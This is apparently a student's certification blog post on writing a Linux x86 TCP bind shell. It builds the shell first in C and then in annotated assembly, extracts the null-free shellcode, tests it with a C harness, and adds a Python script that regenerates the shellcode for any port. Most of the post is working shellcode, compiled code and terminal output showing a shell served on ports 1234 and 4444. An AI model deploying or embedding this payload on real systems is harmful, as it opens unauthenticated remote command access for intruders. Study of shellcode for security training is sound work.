I recently began working on the SLAE to get more familiar with Assembly and shellcoding. At some point I would like to do OSCE so maybe that’ll be in the cards later this year. Anyways here is the first assignment for the SLAE exam which is a Linux x86 TCP bind shell written in Assembly. To get a good grasp on the steps that need to be taken it makes things easier to first create a bind shell in C and then break that code down for writing in Assembly.

Note: I’m a C noob, so I know this code isn’t the best, but it works for our purposes here. The code has lots of comments, not only to help me understand more effectively but hopefully it helps others.

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

int main()
{
	// Create the socket (man socket)
	// AF_INET for IPv4
	// SOCK_STREAM for TCP connection
	// 0 leaves it up to the service provider for protocol, which will be TCP
	int host_sock = socket(AF_INET, SOCK_STREAM, 0);


	// Create sockaddr_in struct (man 7 ip)
	struct sockaddr_in host_addr;

	// AF_INET for IPv4
	host_addr.sin_family = AF_INET;
	
	// Set port number to 1234, set to network byte order by htons
	host_addr.sin_port = htons(1234);

	// Listen on any interface
	host_addr.sin_addr.s_addr = INADDR_ANY;
	
	// Bind address to socket (man bind)
	bind(host_sock, (struct sockaddr *)&host_addr, sizeof(host_addr));

	// Use the created socket to listen for connections (man listen)
	listen(host_sock, 0);

	// Accept connections, (man 2 accept) use NULLs to not store connection information from peer
	int client_sock = accept(host_sock, NULL, NULL);

	// Redirect stdin to client
	dup2(client_sock, 0);
	
	// stdout
	dup2(client_sock, 1);

	// stderr
	dup2(client_sock, 2);

	// Execute /bin/sh (man execve)
	execve("/bin/sh", NULL, NULL);

}

We can quickly compile and test this code to ensure everything is working properly.

absolomb@ubuntu:~/SLAE/assignments/1$ gcc bindshell.c -o bindshell
absolomb@ubuntu:~/SLAE/assignments/1$ ./bindshell
absolomb@ubuntu:~$ netstat -ano | grep 1234
tcp        0      0 0.0.0.0:1234            0.0.0.0:*               LISTEN      off (0.00/0/0)
absolomb@ubuntu:~$ nc 127.0.0.1 1234
id
uid=1000(absolomb) gid=1000(absolomb) groups=1000(absolomb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

Now that we have a solid reference to work from we can start breaking this down for porting to Assembly.

Looking at the C program we can essentially break it down into six different tasks.

  • Creating a socket
  • Binding the socket
  • Configuring the socket to listen
  • Accepting connections on the socket
  • Redirecting STDIN, STDOUT, and STDERR to the client connection
  • Executing a shell

Let’s begin.

Creating a Socket

Before we start, a quick rundown on how assembly uses registers for systemcalls.

  • EAX will be used for the system call number. Once the system call is executed the return value is also stored here.
  • EBX - will be used for the 1st Argument.
  • ECX - will be used for the 2nd Argument.
  • EDX - 3rd.
  • ESI - 4th.
  • EDI - 5th.

Now that’s covered, let’s dive in.

We can look at system calls on our Ubuntu x86 machine at /usr/include/i386-linux-gnu/asm/unistd_32.h

To call the C equivalent of socket() we’ll have to use socketcall with the SYS_SOCKET argument.

absolomb@ubuntu:~/SLAE/assignments/1$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
#define __NR_socketcall 102

We can see this system call is number 102.

If we look at the man page of socketcall we can see it takes two arguments (call and args).

  • call determines which socket function to invoke
  • args points to a block containing the actual arguments

We will need to use three registers to accomplish this.

  • EAX will contain the system call for socketcall (102)
  • EBX will contain the call argument to create a socket (SYS_SOCKET)
  • ECX will point to the args (AF_INET, SOCK_STREAM, 0)

First we will need to zero out these registers by XOR’ing them with themselves. This ensures the registers are in a clean state for usage.

xor eax, eax
xor ebx, ebx
xor ecx, ecx

Next we need to put the syscall for socketcall in EAX. To do this we first need to convert 102 to hexadecimal.

There are many tools to do this, we can do this easily with python.

absolomb@ubuntu:~/SLAE/assignments/1$ python3
Python 3.4.3 (default, Oct 14 2015, 20:33:09) 
[GCC 4.8.4] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(102)
'0x66'

To avoid nulls we will MOV 0x66 into AL rather than into EAX directly.

mov al, 0x66

To figure out the number for the call to create the socket we can reference net.h. We’ll be referencing the rest of these definitions for later use as well.

absolomb@ubuntu:~/SLAE/assignments/1$ cat /usr/include/linux/net.h
~~~
#define SYS_SOCKET	1		/* sys_socket(2)		*/
#define SYS_BIND	2		/* sys_bind(2)			*/
#define SYS_CONNECT	3		/* sys_connect(2)		*/
#define SYS_LISTEN	4		/* sys_listen(2)		*/
#define SYS_ACCEPT	5		/* sys_accept(2)		*/
~~~

We’ll need 1 to create our socket, which means we can MOV that into BL, again avoiding nulls.

mov bl, 0x1

Now for the last part we’ll need to have AF_INET, SOCK_STREAM, 0 as all one argument. To do this cleanly we can utilize the stack. Since the stack is First In, Last Out or LastIn, First Out (whichever saying you prefer) we’ll need to PUSH our arguments in reverse order.

Since ECX was zeroed out earlier we can simply do a PUSH to get our first argument of 0 onto the stack.

push ecx

We can find the number for SOCK_STREAM is set to 1, by doing the following:

absolomb@ubuntu:~/SLAE/assignments/1$ cat /usr/src/linux-headers-4.4.0-31/include/linux/net.h | grep SOCK_STREAM
 * @SOCK_STREAM: stream (connection) socket
	SOCK_STREAM	= 1,

Since EBX is already set to 1 we can simply push its value to the stack

push ebx

Now for the last argument AF_INET, we can take a look at /usr/include/i386-linux-gnu/bits/socket.h

What we see is that AF_INET is mapped to PF_INET which has a value of 2.

push 0x2

Now we point ECX to the top of the stack and call the systemcall interrupt executing all of our arguments

mov ecx, esp
int 0x80

As we know, EAX will now store the return value for our socket. Since we’ll need to reuse EAX for the other system calls we’ll need to preserve our socket elsewhere. We can do this by MOV’ing it to EDI.

mov edi, eax

Binding the Socket

We’ll need to call socketcall() again this time with the SYS_BIND argument. So once again we’ll need to setup EAX with system call 102.

mov al, 0x66

We see from earlier that SYS_BIND is set to 2. We can set EBX to 2 by POP’ing the value off the stack since the top of stack already contains 2 from earlier.

pop ebx

Now we’ll need to setup our bind() arguments correctly. If you recall from earlier our C code for the bind arguments were:

bind(host_sock, (struct sockaddr *)&host_addr, sizeof(host_addr));

host_addr is a struct, which is basically just a group of variables. We setup that struct with the following:

host_addr.sin_family = AF_INET;
host_addr.sin_port = htons(1234);
host_addr.sin_addr.s_addr = INADDR_ANY;

So we’ll need to create this and utilize the stack to do so.

INADDRY_ANY is defined in /usr/src/linux-headers-4.4.0-31/include/uapi/linux/in.h as 0.

htons(1234) can be converted into hex and then reversed for network byte order as 0xd204.

And we already know from earlier AF_NET is 2.

Since we need a 0 for our first argument to PUSH, we’ll start by XOR’ing out EDX, which we haven’t used yet. Then PUSH it to the stack.

xor edx, edx
push edx

Next we’ll push our port number to the stack. And since EBX already contains a 2, we can go ahead and push that.

push word 0xd204
push bx

Now with our arguments setup correctly on the stack we can point ECX to the stack.

mov ecx, esp

With our struct in place now we are ready to pass the bind arguments which will be the size of our struct, a pointer to our struct, and finally our socket we created from earlier(stored in EDI).

The size of our struct is 16 (0x10) so we’ll push that to stack. We’ll also push the value of ECX since it’s currently pointing at the struct located on the stack. Finally we push our socket, and then point ECX to the top of the stack with all the arguments ready to be executed.

push 0x10
push ecx
push edi
mov ecx, esp
int 0x80

After we execute the bind we go ahead and clear out EAX for use in the next step.

xor eax, eax

Configuring the Socket to Listen

Once again we’ll be using socketcall(), this time with the SYS_LISTEN option (4) along with its two arguments which are our socket and the backlog argument.

Currently EAX contains 0, so we’ll PUSH that along with our socket still stored in EDI.

push eax
push edi
mov ecx, esp

Now the arguments are setup on the stack, we will need to store 4 in EBX and 0x66 for our socketcall in EAX. Since EBX is currently set to 2, we can simply increment it twice. Again, we’ll need to MOV 0x66 into AL.

inc ebx
inc ebx
mov al, 0x66
int 0x80

Accept Connections

Referring back to our C code again we can see that accept was setup as follows:

accept(host_sock, NULL, NULL);

First things first, let’s setup the stack by pushing two 0’s. To avoid nulls in the shellcode we’ll XOR EDX with itself and then PUSH it twice to the stack.

xor edx, edx
push edx
push edx

Next we’ll push our socketfd to the stack from EDI. We also know that SYS_ACCEPT is defined as 5. EBX is already at 4, so we can do another increment here. The rest should be self-explanatory by now.

push edi
inc ebx
mov ecx, esp
mov al, 0x66
int 0x80

Our client socket will be returned into EAX so we’ll need to preserve that by moving it out. Since our next step will be redirecting STDIN, STDOUT, and STDERR we can move this into EBX since it will need to be there as an argument for the dup2() syscall.

xchg ebx, eax

Redirecting STDIN, STDOUT, and STDERR to the Client Connection

Looking at the C code again we can see that we used dup2() for the redirection:

dup2(client_sock, 0);

We can iterate over each file descriptor (0,1,2) by using a loop to make things more efficient.

First we’ll need to setup our counter in the counter register (ECX).

xor ecx, ecx
mov cl, 0x2

Now comes the actual loop. We’ll be using the JNS instruction which basically means continue to jump to the start of the loop until the signed flag is set. We’ll be decrementing our counter register each time, and once -1 gets set in ECX, the signed flag will be set and break the loop.

We’ll also need the dup2() system call number. Which we can find in /usr/include/i386-linux-gnu/asm/unistd_32.h as 63. Converted to hex that gives us 0x3f.

loop:
	mov al, 0x3f
	int 0x80
	dec ecx	
	jns loop

Executing a Shell

Finally we have arrived at the end. No more socket calls here we simply need to call /bin/sh.

Referencing our C code one last time:

execve("/bin/sh", NULL, NULL);

Checking the main pages for execve() we see that /bin/sh will need to be our first argument (inside EBX) and we can null out the other two arguments since we aren’t passing any arguments to /bin/sh. Since /bin/sh is only 7 characters we can add an extra slash in to make it an even 8 to make it easier for the hexadecimal translation. We’ll also need to push /bin//sh in reverse as the stack grows from high to low memory.

Utilizing python we can figure out what we need.

>>> a = '/bin//sh'
>>> a[::-1]
'hs//nib/'

We’ll want to break up the string into 4 byte halves to have a clean hex address to use.

>>> import binascii
>>> binascii.hexlify(b'hs//')
b'68732f2f'
>>> binascii.hexlify(b'nib/')
b'6e69622f'

First we push a null to the stack to null terminate our /bin//sh argument, then push our /bin//sh hex. The point ebx to the stack, null out the ECX register, move the execve syscall into EAX, and finally execute.

push edx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov ecx, edx
mov al, 0xb	
int 0x80

Final Assembly Code

global _start

section .text
_start:

	
	;zero out registers for socketcall
	
	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx

	; Create the socket

	mov al, 0x66 		; socketcall (102)
	mov bl, 0x1		; SYS_SOCKET (1)
	push ecx		; protocol (0)
	push ebx		; SOCK_STREAM (1)
	push 0x2		; AF_INET (2)
	mov ecx, esp		; point ecx to top of stack
	int 0x80		; execute socket

	mov edi, eax		; move socket to edi

	; Bind the socket

	
	mov al, 0x66		; socketcall (102)
	pop ebx			; SYS_BIND (2)
	xor edx, edx		; zero out edx
	push edx		; INADDRY_ANY (0)
	push word 0xd204	; sin_port = 1234
	push bx			; AF_INET (2)
	mov ecx, esp		; point ecx to top of stack
	push 0x10		; sizeof(host_addr)
	push ecx		; pointer to host_addr struct
	push edi		; socketfd
	mov ecx, esp		; point ecx to top of stack 
	int 0x80		; execute bind
	
	xor eax, eax		; zero out eax

	; Listen on the socket
	
	push eax		; backlog (0)
	push edi		; socketfd
	mov ecx, esp		; point ecx to stack
	inc ebx			; increment to 3
	inc ebx			; increment to 4
	mov al, 0x66		; socketcall (102)
	int 0x80		; execute listen


	; Accept connections

	xor edx, edx		; zero out edx
	push edx		; NULL
	push edx		; NULL
	push edi		; socketfd
	inc ebx			; SYS_ACCEPT (5)
	mov ecx, esp		; point ecx to stack
	mov al, 0x66		; socketcall (102)
	int 0x80		; execute accept
	
	xchg ebx, eax		; move created client_sock in ebx
	
	; Redirect STDIN, STDERR, STDOUT

	xor ecx, ecx		; zero out ecx
	mov cl, 0x2 		; set the counter
	
loop:
	mov al, 0x3f		; dup2 (63)
	int 0x80		; exec dup2
	dec ecx			; decrement counter
	jns loop		; jump until SF is set

	; Execute /bin/sh

	push edx		; NULL
	push 0x68732f2f		; "hs//"
	push 0x6e69622f 	; "nib/"
	mov ebx, esp		; point ebx to stack
	mov ecx, edx		; NULL
	mov al, 0xb		; execve
	int 0x80		; execute execve

Testing the Code

To make things easy a simple bash compile script is used for compiling and linking.

#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'
absolomb@ubuntu:~/SLAE/assignments/1$ ./compile.sh bind_shell
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

To extract our shellcode out we’ll use objdump.

absolomb@ubuntu:~/SLAE/assignments/1$ for i in $(objdump -d bind_shell |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\x5b\x31\xd2\x52\x66\x68\x04\xd2\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\x50\x57\x89\xe1\x43\x43\xb0\x66\xcd\x80\x31\xd2\x52\x52\x57\x43\x89\xe1\xb0\x66\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80

Now we can use a simple C program to test out our shellcode.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\x5b\x31\xd2\x52\x66\x68\x04\xd2\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\x50\x57\x89\xe1\x43\x43\xb0\x66\xcd\x80\x31\xd2\x52\x52\x57\x43\x89\xe1\xb0\x66\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Now compile with GCC without stack protection and run.

absolomb@ubuntu:~/SLAE/assignments/1$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
absolomb@ubuntu:~/SLAE/assignments/1$ ./shellcode
Shellcode Length:  97
absolomb@ubuntu:~/SLAE/assignments/1$ netstat -ant | grep 1234
tcp        0      0 0.0.0.0:1234            0.0.0.0:*               LISTEN     
absolomb@ubuntu:~/SLAE/assignments/1$ nc 127.0.0.1 1234
id
uid=1000(absolomb) gid=1000(absolomb) groups=1000(absolomb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

Python Script for Configurable Port

To make the port configurable I made a simple Python script (which isn’t the prettiest but works). The script will output the shellcode with the desired port.

#!/usr/bin/env python3
import sys
import struct
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-p', "--port")
args = parser.parse_args()

if args.port == None:
    parser.print_help()
    exit()

port = int(args.port)

if port > 65535:
    print("Please enter a valid port number!")
    exit()

if port < 1024:
    print("You'll need to be root to use this port!")

port = struct.pack("!H", port)

port = ("{}".format(''.join('\\x{:02x}'.format(b) for b in port)))

if "\\x00" in port:
    print(" Nulls in selected port!")
    exit()

shellcode = """
\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb0\\x66\\xb3\\x01\\x51\\x53\\x6a\\x02
\\x89\\xe1\\xcd\\x80\\x89\\xc7\\xb0\\x66\\x5b\\x31\\xd2\\x52\\x66\\x68%s
\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\xcd\\x80\\x31\\xc0
\\x50\\x57\\x89\\xe1\\x43\\x43\\xb0\\x66\\xcd\\x80\\x31\\xd2\\x52\\x52
\\x57\\x43\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x93\\x31\\xc9\\xb1\\x02\\xb0
\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f
\\x62\\x69\\x6e\\x89\\xe3\\x89\\xd1\\xb0\\x0b\\xcd\\x80
""" % (port)

print("Shellcode:")
print(shellcode.replace("\n", ""))

Now to test, this time with a different port.

absolomb@ubuntu:~/SLAE/assignments/1$ python3 bindport.py 4444
Shellcode:
\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\x5b\x31\xd2\x52\x66\x68\x11\\\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\x50\x57\x89\xe1\x43\x43\xb0\x66\xcd\x80\x31\xd2\x52\x52\x57\x43\x89\xe1\xb0\x66\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80
absolomb@ubuntu:~/SLAE/assignments/1$ vim shellcode.c
absolomb@ubuntu:~/SLAE/assignments/1$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
absolomb@ubuntu:~/SLAE/assignments/1$ ./shellcode
Shellcode Length:  97
absolomb@ubuntu:~$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
absolomb@ubuntu:~$ nc localhost 4444
id
uid=1000(absolomb) gid=1000(absolomb) groups=1000(absolomb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

Success! There is obviously some improvements that could be made to the assembly to help further shrink down the shellcode even more but this is a good start. Perhaps for the reverse shell option next I’ll use some new and more efficient instructions. Thanks for reading if you made it this far!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1208

Github Repo: https://github.com/absolomb/SLAE